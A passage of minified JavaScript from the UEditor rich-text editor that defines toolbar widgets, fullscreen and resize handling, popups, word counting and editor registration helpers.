                    }, title: t, initValue: t, className: "edui-for-fontfamily", indexByValue: function (e) {
                        if (e) for (var t, i = 0; t = this.items[i]; i++) if (-1 != t.value.indexOf(e)) return i;
                        return -1
                    }
                });
                return u.buttons.fontfamily = d, o.addListener("selectionchange", function (e, t, i) {
                    if (!i) if (-1 == o.queryCommandState("FontFamily")) d.setDisabled(!0); else {
                        d.setDisabled(!1);
                        var n = o.queryCommandValue("FontFamily");
                        n = n && n.replace(/['"]/g, "").split(",")[0], d.setValue(n)
                    }
                }), d
            }
        }, u.fontsize = function (n, e, t) {
            if (t = n.options.labelMap.fontsize || n.getLang("labelMap.fontsize") || "", (e = e || n.options.fontsize || []).length) {
                for (var i = [], o = 0; o < e.length; o++) {
                    var r = e[o] + "px";
                    i.push({
                        label: r, value: r, theme: n.options.theme, renderLabelHtml: function () {
                            return '<div class="edui-label %%-label" style="line-height:1;font-size:' + this.value + '">' + (this.label || "") + "</div>"
                        }
                    })
                }
                var a = new u.Combox({
                    editor: n, items: i, title: t, initValue: t, onselect: function (e, t) {
                        n.execCommand("FontSize", this.items[t].value)
                    }, onbuttonclick: function () {
                        this.showPopup()
                    }, className: "edui-for-fontsize"
                });
                return u.buttons.fontsize = a, n.addListener("selectionchange", function (e, t, i) {
                    i || (-1 == n.queryCommandState("FontSize") ? a.setDisabled(!0) : (a.setDisabled(!1), a.setValue(n.queryCommandValue("FontSize"))))
                }), a
            }
        }, u.paragraph = function (o, e, t) {
            if (t = o.options.labelMap.paragraph || o.getLang("labelMap.paragraph") || "", e = o.options.paragraph || [], !c.isEmptyObject(e)) {
                var i = [];
                for (var n in e) i.push({
                    value: n,
                    label: e[n] || o.getLang("paragraph")[n],
                    theme: o.options.theme,
                    renderLabelHtml: function () {
                        return '<div class="edui-label %%-label"><span class="edui-for-' + this.value + '">' + (this.label || "") + "</span></div>"
                    }
                });
                var r = new u.Combox({
                    editor: o,
                    items: i,
                    title: t,
                    initValue: t,
                    className: "edui-for-paragraph",
                    onselect: function (e, t) {
                        o.execCommand("Paragraph", this.items[t].value)
                    },
                    onbuttonclick: function () {
                        this.showPopup()
                    }
                });
                return u.buttons.paragraph = r, o.addListener("selectionchange", function (e, t, i) {
                    if (!i) if (-1 == o.queryCommandState("Paragraph")) r.setDisabled(!0); else {
                        r.setDisabled(!1);
                        var n = o.queryCommandValue("Paragraph");
                        -1 != r.indexByValue(n) ? r.setValue(n) : r.setValue(r.initValue)
                    }
                }), r
            }
        }, u.customstyle = function (o) {
            var e = o.options.customstyle || [],
                t = o.options.labelMap.customstyle || o.getLang("labelMap.customstyle") || "";
            if (e.length) {
                for (var i, n = o.getLang("customstyle"), r = 0, a = []; i = e[r++];) !function (e) {
                    var t = {};
                    t.label = e.label ? e.label : n[e.name], t.style = e.style, t.className = e.className, t.tag = e.tag, a.push({
                        label: t.label,
                        value: t,
                        theme: o.options.theme,
                        renderLabelHtml: function () {
                            return '<div class="edui-label %%-label"><' + t.tag + " " + (t.className ? ' class="' + t.className + '"' : "") + (t.style ? ' style="' + t.style + '"' : "") + ">" + t.label + "</" + t.tag + "></div>"
                        }
                    })
                }(i);
                var s = new u.Combox({
                    editor: o,
                    items: a,
                    title: t,
                    initValue: t,
                    className: "edui-for-customstyle",
                    onselect: function (e, t) {
                        o.execCommand("customstyle", this.items[t].value)
                    },
                    onbuttonclick: function () {
                        this.showPopup()
                    },
                    indexByValue: function (e) {
                        for (var t, i = 0; t = this.items[i++];) if (t.label == e) return i - 1;
                        return -1
                    }
                });
                return u.buttons.customstyle = s, o.addListener("selectionchange", function (e, t, i) {
                    if (!i) if (-1 == o.queryCommandState("customstyle")) s.setDisabled(!0); else {
                        s.setDisabled(!1);
                        var n = o.queryCommandValue("customstyle");
                        -1 != s.indexByValue(n) ? s.setValue(n) : s.setValue(s.initValue)
                    }
                }), s
            }
        }, u.inserttable = function (n, e, t) {
            t = n.options.labelMap.inserttable || n.getLang("labelMap.inserttable") || "";
            var i = new u.TableButton({
                editor: n,
                title: t,
                className: "edui-for-inserttable",
                onpicktable: function (e, t, i) {
                    n.execCommand("InsertTable", {numRows: i, numCols: t, border: 1})
                },
                onbuttonclick: function () {
                    this.showPopup()
                }
            });
            return u.buttons.inserttable = i, n.addListener("selectionchange", function () {
                i.setDisabled(-1 == n.queryCommandState("inserttable"))
            }), i
        }, u.lineheight = function (i) {
            var e = i.options.lineheight || [];
            if (e.length) {
                for (var t, n = 0, o = []; t = e[n++];) o.push({
                    label: t,
                    value: t,
                    theme: i.options.theme,
                    onclick: function () {
                        i.execCommand("lineheight", this.value)
                    }
                });
                var r = new u.MenuButton({
                    editor: i,
                    className: "edui-for-lineheight",
                    title: i.options.labelMap.lineheight || i.getLang("labelMap.lineheight") || "",
                    items: o,
                    onbuttonclick: function () {
                        var e = i.queryCommandValue("LineHeight") || this.value;
                        i.execCommand("LineHeight", e)
                    }
                });
                return u.buttons.lineheight = r, i.addListener("selectionchange", function () {
                    var e = i.queryCommandState("LineHeight");
                    if (-1 == e) r.setDisabled(!0); else {
                        r.setDisabled(!1);
                        var t = i.queryCommandValue("LineHeight");
                        t && r.setValue((t + "").replace(/cm/, "")), r.setChecked(e)
                    }
                }), r
            }
        };
        for (var l, d = ["top", "bottom"], m = 0; l = d[m++];) !function (a) {
            u["rowspacing" + a] = function (i) {
                var e = i.options["rowspacing" + a] || [];
                if (!e.length) return null;
                for (var t, n = 0, o = []; t = e[n++];) o.push({
                    label: t,
                    value: t,
                    theme: i.options.theme,
                    onclick: function () {
                        i.execCommand("rowspacing", this.value, a)
                    }
                });
                var r = new u.MenuButton({
                    editor: i,
                    className: "edui-for-rowspacing" + a,
                    title: i.options.labelMap["rowspacing" + a] || i.getLang("labelMap.rowspacing" + a) || "",
                    items: o,
                    onbuttonclick: function () {
                        var e = i.queryCommandValue("rowspacing", a) || this.value;
                        i.execCommand("rowspacing", e, a)
                    }
                });
                return u.buttons[a] = r, i.addListener("selectionchange", function () {
                    var e = i.queryCommandState("rowspacing", a);
                    if (-1 == e) r.setDisabled(!0); else {
                        r.setDisabled(!1);
                        var t = i.queryCommandValue("rowspacing", a);
                        t && r.setValue((t + "").replace(/%/, "")), r.setChecked(e)
                    }
                }), r
            }
        }(l);
        for (var f, h = ["insertorderedlist", "insertunorderedlist"], p = 0; f = h[p++];) !function (a) {
            u[a] = function (i) {
                function e() {
                    i.execCommand(a, this.value)
                }

                var t = i.options[a], n = [];
                for (var o in t) n.push({
                    label: t[o] || i.getLang()[a][o] || "",
                    value: o,
                    theme: i.options.theme,
                    onclick: e
                });
                var r = new u.MenuButton({
                    editor: i,
                    className: "edui-for-" + a,
                    title: i.getLang("labelMap." + a) || "",
                    items: n,
                    onbuttonclick: function () {
                        var e = i.queryCommandValue(a) || this.value;
                        i.execCommand(a, e)
                    }
                });
                return u.buttons[a] = r, i.addListener("selectionchange", function () {
                    var e = i.queryCommandState(a);
                    if (-1 == e) r.setDisabled(!0); else {
                        r.setDisabled(!1);
                        var t = i.queryCommandValue(a);
                        r.setValue(t), r.setChecked(e)
                    }
                }), r
            }
        }(f);
        u.fullscreen = function (t, e) {
            e = t.options.labelMap.fullscreen || t.getLang("labelMap.fullscreen") || "";
            var i = new u.Button({
                className: "edui-for-fullscreen",
                title: e,
                theme: t.options.theme,
                onclick: function () {
                    t.ui && t.ui.setFullScreen(!t.ui.isFullScreen()), this.setChecked(t.ui.isFullScreen())
                }
            });
            return u.buttons.fullscreen = i, t.addListener("selectionchange", function () {
                var e = t.queryCommandState("fullscreen");
                i.setDisabled(-1 == e), i.setChecked(t.ui.isFullScreen())
            }), i
        }, u.emotion = function (e, t) {
            var i = "emotion", n = new u.MultiMenuPop({
                title: e.options.labelMap[i] || e.getLang("labelMap." + i) || "",
                editor: e,
                className: "edui-for-" + i,
                iframeUrl: e.ui.mapUrl(t || (e.options.iframeUrlMap || {})[i] || s[i])
            });
            return u.buttons[i] = n, e.addListener("selectionchange", function () {
                n.setDisabled(-1 == e.queryCommandState(i))
            }), n
        }, u.autotypeset = function (e) {
            var t = new u.AutoTypeSetButton({
                editor: e,
                title: e.options.labelMap.autotypeset || e.getLang("labelMap.autotypeset") || "",
                className: "edui-for-autotypeset",
                onbuttonclick: function () {
                    e.execCommand("autotypeset")
                }
            });
            return u.buttons.autotypeset = t, e.addListener("selectionchange", function () {
                t.setDisabled(-1 == e.queryCommandState("autotypeset"))
            }), t
        }, u.simpleupload = function (o) {
            var r = "simpleupload", a = new u.Button({
                className: "edui-for-" + r,
                title: o.options.labelMap[r] || o.getLang("labelMap." + r) || "",
                onclick: function () {
                },
                theme: o.options.theme,
                showText: !1
            });
            return u.buttons[r] = a, o.addListener("ready", function () {
                var e = a.getDom("body").children[0];
                o.fireEvent("simpleuploadbtnready", e)
            }), o.addListener("selectionchange", function (e, t, i) {
                var n = o.queryCommandState(r);
                -1 == n ? (a.setDisabled(!0), a.setChecked(!1)) : i || (a.setDisabled(!1), a.setChecked(n))
            }), a
        }
    }(),function () {
        var u = baidu.editor.utils, t = baidu.editor.ui.uiUtils, r = baidu.editor.ui.UIBase,
            x = baidu.editor.dom.domUtils, a = [];

        function m(e) {
            this.initOptions(e), this.initEditorUI()
        }

        m.prototype = {
            uiName: "editor", initEditorUI: function () {
                (this.editor.ui = this)._dialogs = {}, this.initUIBase(), this._initToolbars();
                var c = this.editor, t = this;
                c.addListener("ready", function () {
                    if (c.getDialog = function (e) {
                        return c.ui._dialogs[e + "Dialog"]
                    }, x.on(c.window, "scroll", function (e) {
                        baidu.editor.ui.Popup.postHide(e)
                    }), c.ui._actualFrameWidth = c.options.initialFrameWidth, UE.browser.ie && 6 === UE.browser.version && c.container.ownerDocument.execCommand("BackgroundImageCache", !1, !0), c.options.elementPathEnabled && (c.ui.getDom("elementpath").innerHTML = '<div class="edui-editor-breadcrumb">' + c.getLang("elementPathTip") + ":</div>"), c.options.wordCount) {
                        x.on(c.document, "click", function () {
                            o(c, t), x.un(c.document, "click", arguments.callee)
                        }), c.ui.getDom("wordcount").innerHTML = c.getLang("wordCountTip")
                    }
                    c.ui._scale(), c.options.scaleEnabled ? (c.autoHeightEnabled && c.disableAutoHeight(), t.enableScale()) : t.disableScale(), c.options.elementPathEnabled || c.options.wordCount || c.options.scaleEnabled || (c.ui.getDom("elementpath").style.display = "none", c.ui.getDom("wordcount").style.display = "none", c.ui.getDom("scale").style.display = "none"), c.selection.isFocus() && c.fireEvent("selectionchange", !1, !0)
                }), c.addListener("mousedown", function (e, t) {
                    var i = t.target || t.srcElement;
                    baidu.editor.ui.Popup.postHide(t, i), baidu.editor.ui.ShortCutMenu.postHide(t)
                }), c.addListener("delcells", function () {
                    UE.ui.edittip && new UE.ui.edittip(c), c.getDialog("edittip").open()
                });
                var n, e, i = !1;

                function o(e, t) {
                    e.setOpt({
                        wordCount: !0,
                        maximumWords: 1e4,
                        wordCountMsg: e.options.wordCountMsg || e.getLang("wordCountMsg"),
                        wordOverFlowMsg: e.options.wordOverFlowMsg || e.getLang("wordOverFlowMsg")
                    });
                    var i = e.options, n = i.maximumWords, o = i.wordCountMsg, r = i.wordOverFlowMsg,
                        a = t.getDom("wordcount");
                    if (i.wordCount) {
                        var s = e.getContentLength(!0);
                        n < s ? (a.innerHTML = r, e.fireEvent("wordcountoverflow")) : a.innerHTML = o.replace("{#leave}", n - s).replace("{#count}", s)
                    }
                }

                c.addListener("afterpaste", function () {
                    c.queryCommandState("pasteplain") || (baidu.editor.ui.PastePicker && (n = new baidu.editor.ui.Popup({
                        content: new baidu.editor.ui.PastePicker({editor: c}),
                        editor: c,
                        className: "edui-wordpastepop"
                    })).render(), i = !0)
                }), c.addListener("afterinserthtml", function () {
                    clearTimeout(e), e = setTimeout(function () {
                        if (n && (i || c.ui._isTransfer)) {
                            if (n.isHidden()) {
                                var e = x.createElement(c.document, "span", {
                                    style: "line-height:0px;",
                                    innerHTML: "\ufeff"
                                });
                                c.selection.getRange().insertNode(e);
                                var t = getDomNode(e, "firstChild", "previousSibling");
                                t && n.showAnchor(3 == t.nodeType ? t.parentNode : t), x.remove(e)
                            } else n.show();
                            delete c.ui._isTransfer, i = !1
                        }
                    }, 200)
                }), c.addListener("contextmenu", function (e, t) {
                    baidu.editor.ui.Popup.postHide(t)
                }), c.addListener("keydown", function (e, t) {
                    n && n.dispose(t);
                    var i = t.keyCode || t.which;
                    t.altKey && 90 == i && UE.ui.buttons.fullscreen.onclick()
                }), c.addListener("wordcount", function (e) {
                    o(this, t)
                }), c.addListener("selectionchange", function () {
                    c.options.elementPathEnabled && t[(-1 == c.queryCommandState("elementpath") ? "dis" : "en") + "ableElementPath"](), c.options.scaleEnabled && t[(-1 == c.queryCommandState("scale") ? "dis" : "en") + "ableScale"]()
                });
                var u = new baidu.editor.ui.Popup({
                    editor: c, content: "", className: "edui-bubble", _onEditButtonClick: function () {
                        this.hide(), c.ui._dialogs.linkDialog.open()
                    }, _onImgEditButtonClick: function (e) {
                        this.hide(), c.ui._dialogs[e] && c.ui._dialogs[e].open()
                    }, _onImgSetFloat: function (e) {
                        this.hide(), c.execCommand("imagefloat", e)
                    }, _setIframeAlign: function (e) {
                        var t = u.anchorEl, i = t.cloneNode(!0);
                        switch (e) {
                            case-2:
                                i.setAttribute("align", "");
                                break;
                            case-1:
                                i.setAttribute("align", "left");
                                break;
                            case 1:
                                i.setAttribute("align", "right")
                        }
                        t.parentNode.insertBefore(i, t), x.remove(t), u.anchorEl = i, u.showAnchor(u.anchorEl)
                    }, _updateIframe: function () {
                        var e = c._iframe = u.anchorEl;
                        x.hasClass(e, "ueditor_baidumap") ? (c.selection.getRange().selectNode(e).select(), c.ui._dialogs.mapDialog.open()) : c.ui._dialogs.insertframeDialog.open(), u.hide()
                    }, _onRemoveButtonClick: function (e) {
                        c.execCommand(e), this.hide()
                    }, queryAutoHide: function (e) {
                        return e && e.ownerDocument == c.document && ("img" == e.tagName.toLowerCase() || x.findParentByTagName(e, "a", !0)) ? e !== u.anchorEl : baidu.editor.ui.Popup.prototype.queryAutoHide.call(this, e)
                    }
                });
                u.render(), c.options.imagePopup && (c.addListener("mouseover", function (e, t) {
                    var i = (t = t || window.event).target || t.srcElement;
                    if (c.ui._dialogs.insertframeDialog && /iframe/gi.test(i.tagName)) {
                        var n = u.formatHtml("<nobr>" + c.getLang("property") + ': <span onclick=$$._setIframeAlign(-2) class="edui-clickable">' + c.getLang("default") + '</span>&nbsp;&nbsp;<span onclick=$$._setIframeAlign(-1) class="edui-clickable">' + c.getLang("justifyleft") + '</span>&nbsp;&nbsp;<span onclick=$$._setIframeAlign(1) class="edui-clickable">' + c.getLang("justifyright") + '</span>&nbsp;&nbsp; <span onclick="$$._updateIframe( this);" class="edui-clickable">' + c.getLang("modify") + "</span></nobr>");
                        n ? (u.getDom("content").innerHTML = n, u.anchorEl = i, u.showAnchor(u.anchorEl)) : u.hide()
                    }
                }), c.addListener("selectionchange", function (e, t) {
                    if (t) {
                        var i = "", n = "", o = c.selection.getRange().getClosedNode(), r = c.ui._dialogs;
                        if (o && "IMG" == o.tagName) {
                            var a = "insertimageDialog";
                            if (-1 == o.className.indexOf("edui-faked-video") && -1 == o.className.indexOf("edui-upload-video") || (a = "insertvideoDialog"), -1 != o.className.indexOf("edui-faked-webapp") && (a = "webappDialog"), -1 != o.src.indexOf("http://api.map.baidu.com") && (a = "mapDialog"), -1 != o.className.indexOf("edui-faked-music") && (a = "musicDialog"), -1 != o.src.indexOf("http://maps.google.com/maps/api/staticmap") && (a = "gmapDialog"), o.getAttribute("anchorname") && (a = "anchorDialog", i = u.formatHtml("<nobr>" + c.getLang("property") + ': <span onclick=$$._onImgEditButtonClick("anchorDialog") class="edui-clickable">' + c.getLang("modify") + "</span>&nbsp;&nbsp;<span onclick=$$._onRemoveButtonClick('anchor') class=\"edui-clickable\">" + c.getLang("delete") + "</span></nobr>")), o.getAttribute("word_img") && (c.word_img = [o.getAttribute("word_img")], a = "wordimageDialog"), (x.hasClass(o, "loadingclass") || x.hasClass(o, "loaderrorclass")) && (a = ""), !r[a]) return;
                            n = "<nobr>" + c.getLang("property") + ': <span onclick=$$._onImgSetFloat("none") class="edui-clickable">' + c.getLang("default") + '</span>&nbsp;&nbsp;<span onclick=$$._onImgSetFloat("left") class="edui-clickable">' + c.getLang("justifyleft") + '</span>&nbsp;&nbsp;<span onclick=$$._onImgSetFloat("right") class="edui-clickable">' + c.getLang("justifyright") + '</span>&nbsp;&nbsp;<span onclick=$$._onImgSetFloat("center") class="edui-clickable">' + c.getLang("justifycenter") + "</span>&nbsp;&nbsp;<span onclick=\"$$._onImgEditButtonClick('" + a + '\');" class="edui-clickable">' + c.getLang("modify") + "</span></nobr>", i = i || u.formatHtml(n)
                        }
                        if (c.ui._dialogs.linkDialog) {
                            var s, l = c.queryCommandValue("link");
                            if (l && (s = l.getAttribute("_href") || l.getAttribute("href", 2))) {
                                var d = s;
                                30 < s.length && (d = s.substring(0, 20) + "..."), i && (i += '<div style="height:5px;"></div>'), i += u.formatHtml("<nobr>" + c.getLang("anthorMsg") + ': <a target="_blank" href="' + s + '" title="' + s + '" >' + d + '</a> <span class="edui-clickable" onclick="$$._onEditButtonClick();">' + c.getLang("modify") + '</span> <span class="edui-clickable" onclick="$$._onRemoveButtonClick(\'unlink\');"> ' + c.getLang("clear") + "</span></nobr>"), u.showAnchor(l)
                            }
                        }
                        i ? (u.getDom("content").innerHTML = i, u.anchorEl = o || l, u.showAnchor(u.anchorEl)) : u.hide()
                    }
                }))
            }, _initToolbars: function () {
                for (var o = this.editor, e = this.toolbars || [], t = [], i = 0; i < e.length; i++) {
                    for (var n = e[i], r = new baidu.editor.ui.Toolbar({theme: o.options.theme}), a = 0; a < n.length; a++) {
                        var s = n[a], l = null;
                        if ("string" == typeof s) {
                            if ("|" == (s = s.toLowerCase()) && (s = "Separator"), "||" == s && (s = "Breakline"), baidu.editor.ui[s] && (l = new baidu.editor.ui[s](o)), "fullscreen" == s) {
                                t && t[0] ? t[0].items.splice(0, 0, l) : l && r.items.splice(0, 0, l);
                                continue
                            }
                        } else l = s;
                        l && l.id && r.add(l)
                    }
                    t[i] = r
                }
                u.each(UE._customizeUI, function (e, t) {
                    var i, n;
                    if (e.id && e.id != o.key) return !1;
                    (i = e.execFn.call(o, o, t)) && (void 0 === (n = e.index) && (n = r.items.length), r.add(i, n))
                }), this.toolbars = t
            }, getHtmlTpl: function () {
                return '<div id="##" class="%%"><div id="##_toolbarbox" class="%%-toolbarbox">' + (this.toolbars.length ? '<div id="##_toolbarboxouter" class="%%-toolbarboxouter"><div class="%%-toolbarboxinner">' + this.renderToolbarBoxHtml() + "</div></div>" : "") + '<div id="##_toolbarmsg" class="%%-toolbarmsg" style="display:none;"><div id = "##_upload_dialog" class="%%-toolbarmsg-upload" onclick="$$.showWordImageDialog();">' + this.editor.getLang("clickToUpload") + '</div><div class="%%-toolbarmsg-close" onclick="$$.hideToolbarMsg();">x</div><div id="##_toolbarmsg_label" class="%%-toolbarmsg-label"></div><div style="height:0;overflow:hidden;clear:both;"></div></div><div id="##_message_holder" class="%%-messageholder"></div></div><div id="##_iframeholder" class="%%-iframeholder"></div><div id="##_bottombar" class="%%-bottomContainer"><table><tr><td id="##_elementpath" class="%%-bottombar"></td><td id="##_wordcount" class="%%-wordcount"></td><td id="##_scale" class="%%-scale"><div class="%%-icon"></div></td></tr></table></div><div id="##_scalelayer"></div></div>'
            }, showWordImageDialog: function () {
                this._dialogs.wordimageDialog.open()
            }, renderToolbarBoxHtml: function () {
                for (var e = [], t = 0; t < this.toolbars.length; t++) e.push(this.toolbars[t].renderHtml());
                return e.join("")
            }, setFullScreen: function (e) {
                var t = this.editor, i = t.container.parentNode.parentNode;
                if (this._fullscreen != e) {
                    if (this._fullscreen = e, this.editor.fireEvent("beforefullscreenchange", e), baidu.editor.browser.gecko) var n = t.selection.getRange().createBookmark();
                    if (e) {
                        for (; "BODY" != i.tagName;) {
                            var o = baidu.editor.dom.domUtils.getComputedStyle(i, "position");
                            a.push(o), i.style.position = "static", i = i.parentNode
                        }
                        this._bakHtmlOverflow = document.documentElement.style.overflow, this._bakBodyOverflow = document.body.style.overflow, this._bakAutoHeight = this.editor.autoHeightEnabled, this._bakScrollTop = Math.max(document.documentElement.scrollTop, document.body.scrollTop), this._bakEditorContaninerWidth = t.iframe.parentNode.offsetWidth, this._bakAutoHeight && (t.autoHeightEnabled = !1, this.editor.disableAutoHeight()), document.documentElement.style.overflow = "hidden", window.scrollTo(0, window.scrollY), this._bakCssText = this.getDom().style.cssText, this._bakCssText1 = this.getDom("iframeholder").style.cssText, t.iframe.parentNode.style.width = "", this._updateFullScreen()
                    } else {
                        for (; "BODY" != i.tagName;) i.style.position = a.shift(), i = i.parentNode;
                        this.getDom().style.cssText = this._bakCssText, this.getDom("iframeholder").style.cssText = this._bakCssText1, this._bakAutoHeight && (t.autoHeightEnabled = !0, this.editor.enableAutoHeight()), document.documentElement.style.overflow = this._bakHtmlOverflow, document.body.style.overflow = this._bakBodyOverflow, t.iframe.parentNode.style.width = this._bakEditorContaninerWidth + "px", window.scrollTo(0, this._bakScrollTop)
                    }
                    if (browser.gecko && "true" === t.body.contentEditable) {
                        var r = document.createElement("input");
                        document.body.appendChild(r), t.body.contentEditable = !1, setTimeout(function () {
                            r.focus(), setTimeout(function () {
                                t.body.contentEditable = !0, t.fireEvent("fullscreenchanged", e), t.selection.getRange().moveToBookmark(n).select(!0), baidu.editor.dom.domUtils.remove(r), e && window.scroll(0, 0)
                            }, 0)
                        }, 0)
                    }
                    "true" === t.body.contentEditable && (this.editor.fireEvent("fullscreenchanged", e), this.triggerLayout())
                }
            }, _updateFullScreen: function () {
                if (this._fullscreen) {
                    var e = t.getViewportRect();
                    if (this.getDom().style.cssText = "border:0;position:absolute;left:0;top:" + (this.editor.options.topOffset || 0) + "px;width:" + e.width + "px;height:" + e.height + "px;z-index:" + (+this.getDom().style.zIndex + 100), t.setViewportOffset(this.getDom(), {
                        left: 0,
                        top: this.editor.options.topOffset || 0
                    }), this.editor.setHeight(e.height - this.getDom("toolbarbox").offsetHeight - this.getDom("bottombar").offsetHeight - (this.editor.options.topOffset || 0), !0), browser.gecko) try {
                        window.onresize()
                    } catch (e) {
                    }
                }
            }, _updateElementPath: function () {
                var e, t = this.getDom("elementpath");
                if (this.elementPathEnabled && (e = this.editor.queryCommandValue("elementpath"))) {
                    for (var i, n = [], o = 0; i = e[o]; o++) n[o] = this.formatHtml('<span unselectable="on" onclick="$$.editor.execCommand(&quot;elementpath&quot;, &quot;' + o + '&quot;);">' + i + "</span>");
                    t.innerHTML = '<div class="edui-editor-breadcrumb" onmousedown="return false;">' + this.editor.getLang("elementPathTip") + ": " + n.join(" &gt; ") + "</div>"
                } else t.style.display = "none"
            }, disableElementPath: function () {
                var e = this.getDom("elementpath");
                e.innerHTML = "", e.style.display = "none", this.elementPathEnabled = !1
            }, enableElementPath: function () {
                this.getDom("elementpath").style.display = "", this.elementPathEnabled = !0, this._updateElementPath()
            }, _scale: function () {
                var i = document, e = this.editor, t = e.container, n = e.document, o = this.getDom("toolbarbox"),
                    r = this.getDom("bottombar"), a = this.getDom("scale"), s = this.getDom("scalelayer"), l = !1,
                    d = null, c = 0, u = e.options.minFrameWidth, m = 0, f = 0, h = 0, p = 0;

                function g() {
                    d = x.getXY(t), c = c || e.options.minFrameHeight + o.offsetHeight + r.offsetHeight, s.style.cssText = "position:absolute;left:0;display:;top:0;background-color:#41ABFF;opacity:0.4;filter: Alpha(opacity=40);width:" + t.offsetWidth + "px;height:" + t.offsetHeight + "px;z-index:" + (e.options.zIndex + 1), x.on(i, "mousemove", v), x.on(n, "mouseup", y), x.on(i, "mouseup", y)
                }

                var b = this;

                function v(e) {
                    C();
                    var t = e || window.event;
                    m = t.pageX || i.documentElement.scrollLeft + t.clientX, f = t.pageY || i.documentElement.scrollTop + t.clientY, h = m - d.x, p = f - d.y, u <= h && (l = !0, s.style.width = h + "px"), c <= p && (l = !0, s.style.height = p + "px")
                }

                function y() {
                    l && (l = !1, e.ui._actualFrameWidth = s.offsetWidth - 2, t.style.width = e.ui._actualFrameWidth + "px", e.setHeight(s.offsetHeight - r.offsetHeight - o.offsetHeight - 2, !0)), s && (s.style.display = "none"), C(), x.un(i, "mousemove", v), x.un(n, "mouseup", y), x.un(i, "mouseup", y)
                }

                function C() {
                    browser.ie ? i.selection.clear() : window.getSelection().removeAllRanges()
                }

                this.editor.addListener("fullscreenchanged", function (e, t) {
                    if (t) b.disableScale(); else if (b.editor.options.scaleEnabled) {
                        b.enableScale();
                        var i = b.editor.document.createElement("span");
                        b.editor.body.appendChild(i), b.editor.body.style.height = Math.max(x.getXY(i).y, b.editor.iframe.offsetHeight - 20) + "px", x.remove(i)
                    }
                }), this.enableScale = function () {
                    1 != e.queryCommandState("source") && (a.style.display = "", this.scaleEnabled = !0, x.on(a, "mousedown", g))
                }, this.disableScale = function () {
                    a.style.display = "none", this.scaleEnabled = !1, x.un(a, "mousedown", g)
                }
            }, isFullScreen: function () {
                return this._fullscreen
            }, postRender: function () {
                r.prototype.postRender.call(this);
                for (var e = 0; e < this.toolbars.length; e++) this.toolbars[e].postRender();

                function t() {
                    clearTimeout(i), i = setTimeout(function () {
                        n._updateFullScreen()
                    })
                }

                var i, n = this, o = baidu.editor.dom.domUtils;
                o.on(window, "resize", t), n.addListener("destroy", function () {
                    o.un(window, "resize", t), clearTimeout(i)
                })
            }, showToolbarMsg: function (e, t) {
                this.getDom("toolbarmsg_label").innerHTML = e, this.getDom("toolbarmsg").style.display = "", t || (this.getDom("upload_dialog").style.display = "none")
            }, hideToolbarMsg: function () {
                this.getDom("toolbarmsg").style.display = "none"
            }, mapUrl: function (e) {
                return e ? e.replace("~/", this.editor.options.UEDITOR_HOME_URL || "") : ""
            }, triggerLayout: function () {
                var e = this.getDom();
                "1" == e.style.zoom ? e.style.zoom = "100%" : e.style.zoom = "1"
            }
        }, u.inherits(m, baidu.editor.ui.UIBase);
        var n = {};
        UE.ui.Editor = function (e) {
            var d = new UE.Editor(e);
            d.options.editor = d, u.loadFile(document, {
                href: d.options.themePath + d.options.theme + "/css/ueditor.css",
                tag: "link",
                type: "text/css",
                rel: "stylesheet"
            });
            var c = d.render;
            return d.render = function (l) {
                l.constructor === String && (d.key = l, n[l] = d), u.domReady(function () {
                    function e() {
                        if (d.setOpt({labelMap: d.options.labelMap || d.getLang("labelMap")}), new m(d.options), l && (l.constructor === String && (l = document.getElementById(l)), l && l.getAttribute("name") && (d.options.textarea = l.getAttribute("name")), l && /script|textarea/gi.test(l.tagName))) {
                            var e = document.createElement("div");
                            l.parentNode.insertBefore(e, l);
                            var t = l.value || l.innerHTML;
                            d.options.initialContent = /^[\t\r\n ]*$/.test(t) ? d.options.initialContent : t.replace(/>[\n\r\t]+([ ]{4})+/g, ">").replace(/[\n\r\t]+([ ]{4})+</g, "<").replace(/>[\n\r\t]+</g, "><"), l.className && (e.className = l.className), l.style.cssText && (e.style.cssText = l.style.cssText), /textarea/i.test(l.tagName) ? (d.textarea = l, d.textarea.style.display = "none") : l.parentNode.removeChild(l), l.id && (e.id = l.id, x.removeAttributes(l, "id")), (l = e).innerHTML = ""
                        }
                        x.addClass(l, "edui-" + d.options.theme), d.ui.render(l);
                        var i = d.options;
                        d.container = d.ui.getDom();
                        for (var n = x.findParents(l, !0), o = [], r = 0; s = n[r]; r++) o[r] = s.style.display, s.style.display = "block";
                        if (i.initialFrameWidth) i.minFrameWidth = i.initialFrameWidth; else {
                            i.minFrameWidth = i.initialFrameWidth = l.offsetWidth;
                            var a = l.style.width;
                            /%$/.test(a) && (i.initialFrameWidth = a)
                        }
                        i.initialFrameHeight ? i.minFrameHeight = i.initialFrameHeight : i.initialFrameHeight = i.minFrameHeight = l.offsetHeight;
                        var s;
                        for (r = 0; s = n[r]; r++) s.style.display = o[r];
                        l.style.height && (l.style.height = ""), d.container.style.width = i.initialFrameWidth + (/%$/.test(i.initialFrameWidth) ? "" : "px"), d.container.style.zIndex = i.zIndex, c.call(d, d.ui.getDom("iframeholder")), d.fireEvent("afteruiready")
                    }

                    d.langIsReady ? e() : d.addListener("langReady", e)
                })
            }, d
        }, UE.getEditor = function (e, t) {
            var i = n[e];
            return i || (i = n[e] = new UE.ui.Editor(t)).render(e), i
        }, UE.delEditor = function (e) {
            var t;
            (t = n[e]) && (t.key && t.destroy(), delete n[e])
        }, UE.registerUI = function (e, t, i, n) {
            u.each(e.split(/\s+/), function (e) {
                UE._customizeUI[e] = {id: n, execFn: t, index: i}
            })
        }
    }(),UE.registerUI("message", function (e) {
        var o, r = baidu.editor.ui.Message, a = [], s = e;

        function l() {
            var e = s.ui.getDom("toolbarbox");
            e && (o.style.top = e.offsetHeight + 3 + "px"), o.style.zIndex = Math.max(s.options.zIndex, s.iframe.style.zIndex) + 1
        }

        s.addListener("ready", function () {
            o = document.getElementById(s.ui.id + "_message_holder"), l(), setTimeout(function () {
                l()
            }, 500)
        }), s.addListener("showmessage", function (e, t) {
            t = utils.isString(t) ? {content: t} : t;
            var i = new r({timeout: t.timeout, type: t.type, content: t.content, keepshow: t.keepshow, editor: s}),
                n = t.id || "msg_" + (+new Date).toString(36);
            return i.render(o), (a[n] = i).reset(t), l(), n
        }), s.addListener("updatemessage", function (e, t, i) {
            i = utils.isString(i) ? {content: i} : i;
            var n = a[t];
            n.render(o), n && n.reset(i)
        }), s.addListener("hidemessage", function (e, t) {
            var i = a[t];
            i && i.hide()
        })
    }),UE.registerUI("autosave", function (e) {
        var t = null, i = null;
        e.on("afterautosave", function () {
            clearTimeout(t), t = setTimeout(function () {
                i && e.trigger("hidemessage", i), i = e.trigger("showmessage", {
